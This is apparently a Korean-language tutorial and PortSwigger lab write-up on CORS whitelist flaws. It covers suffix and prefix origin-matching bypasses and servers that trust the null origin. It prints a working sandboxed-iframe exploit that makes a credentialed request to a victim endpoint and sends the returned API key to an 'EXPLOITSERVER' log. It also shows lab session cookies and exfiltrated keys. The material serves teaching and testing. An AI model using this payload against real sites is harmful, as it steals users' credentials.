subdomain, 신뢰할 수 있는 third party가 서버의 리소스에 접근할 수 있도록 허용하기 위해서 CORS를 사용하고, CORS를 안전하게 사용하기 위해서는 whitelist를 통해 허용된 도메인의 목록을 적절하게 관리해야합니다.
Server-generated ACAO header from client-specified Origin header에서는 whitelist를 사용하지 않거나, *
를 사용해서 CORS를 구현했을 경우 발생하는 취약점에 대해서 정리하였습니다.
본글에서는 whitelist를 사용하지만, whitelist를 제대로 작성하지 않아 발생하는 취약점에 대해서 정리하겠습니다.
다양한 도메인의 접근을 지원하는 서버의 경우 whitelist를 사용하여 리소스 접근을 허용하거나 거절합니다. whitelist에 포함되어 있는 도메인의 경우 서버는 HTTP ACAO Header를 사용하여 접근을 승인해줍니다.
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
하지만 다음과 같이 whitelist를 잘못 구현하는 경우 취약점이 발생할 수 있습니다.
예를 들어 normal-website.com 으로 끝나는 도메인을 접근 허용하도록 하면, hackersnormal-website.com과 같은 방식으로 우회할 수 있습니다.
또는 normal-website.com 으로 시작하는 도메인을 접근 허용하도록 하면, normal-website.com.evil-user.net과 같은 방식으로 우회할 수 있습니다.
origin Header는 null 값을 사용할 수 있습니다.
브라우저는 다음과 같은 HTTP Request가 발생하는 경우 Origin Header에 null 값을 포함시켜 전달합니다.
따라서 위와 같은 경우 서버는 whitelist에 null을 추가하여 서버의 리소스에 접근을 허용할 수 있습니다.
null Origin Header를 포함한 HTTP Request, Response의 예는 다음과 같습니다.
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
HTTP Request Origin Header에 null값을 삽입하여 HTTP Request 할때, HTTP Response의 ACAO Header가 null 로 응답한다면, 위에서 언급한 4가지 방법으로 Cross-Origin Request를 발생시킬 수 있습니다.
다음예는 iframe 태그의 sandboxed 속성을 사용하여 cross-origin Request를 발생시킵니다.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vVICTIMSERVER',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='EXPLOITSERVER/log?key='+this.responseText;
};
</script>">
</iframe>
대부분의 코드는 Exploit Code에서 확인하였으므로, 추가된 iframe 태그만 간략하게 정리합니다.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script></script>"></iframe>
sandbox: iframe 태그를 사용할 때 보안을 위한 여러가지 제한 사항이 존재합니다.
이러한 제한 사항을 해제하려면 sandbox 속성에 다음의 값을 삽입합니다.
src=data:text/html: src는 iframe 내에 불러올 문서의 주소를 적어줍니다.
data:text/html은 문서내에 인라인으로 삽입할 수 있는 HTML 파일을 생성해줍니다.
따라서 위의 코드는 iframe 태그 안에서 스크립트, 폼 데이터를 사용할 수 있도록 제한 사항을 해제하고, <script>...<script>
를 HTML 문서로 만들어서 실행시킵니다.
iframe sandbox 속성을 사용하여 Cross-Origin Request를 발생시켰으므로 HTTP Request Origin Header의 값은 null로 지정되어 전달됩니다. 만약 서버의 HTTP Response ACAO Header가 null로 응답하면 성공적으로 Cross-Origin Request가 실행된 것입니다.
다음은 예는 portswigger academy에서 제공하는 LAB - CORS vulnerability with trusted null origin입니다.
해당 예는 서버의 whitelist에 null이 포함되어 있기 때문에 취약점이 발생합니다.
http://VICTIMSERVER/accountDetails URL에 접근을 하여 HTTP Request Origin Header에 null값을 포함시켜 HTTP Request 하면, HTTP Response ACAO Header에 null이 추가된 것을 확인할 수 있습니다.
이는 해당 서버의 whitelist에 null이 포함되어 있다는 것을 의미합니다.
GET /accountDetails HTTP/1.1
Host: VICTIMSERVER
Origin: null
Connection: close
Sec-Fetch-Dest: empty
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
...
Cookie: session=qpoD5Qt0v5uvEDl5ezZFTzQL2MAf32uq
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 89
{
"username": "wiener",
"email": "",
"apikey": "2h86kYZ3dnkdTDOQ81S18yO2qcJz9oGR"
}
위에서 설명한 iframe sandboxed Cross-Origin Request Exploit Code를 EXPLOITSERVER에 삽입합니다.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,
<script>
var req = new XMLHttpRequest ();
req.onload = reqListener;
req.open('get','https://VICTIMSERVER/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://EXPLOITSERVER/log?
key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
EXPLOITSERVER를 실행시키면 administrator의 apikey를 획득할 수 있습니다.
GET /log?key=%7B%0A%20%20%22username%22%3A%20%22administrator%22%2C%0A%20%20%22email%22%3A%20%22%22%2C%0A%20%20%22apikey%22%3A%20%22xMRV5V1H1FYM7KNo12T5UG65VdcC8Hhb%22%0A%7D
HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"
https://developer.mozilla.org/ko/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
http://tcpschool.com/html-tag-attrs/iframe-sandbox
https://portswigger.net/web-security/cors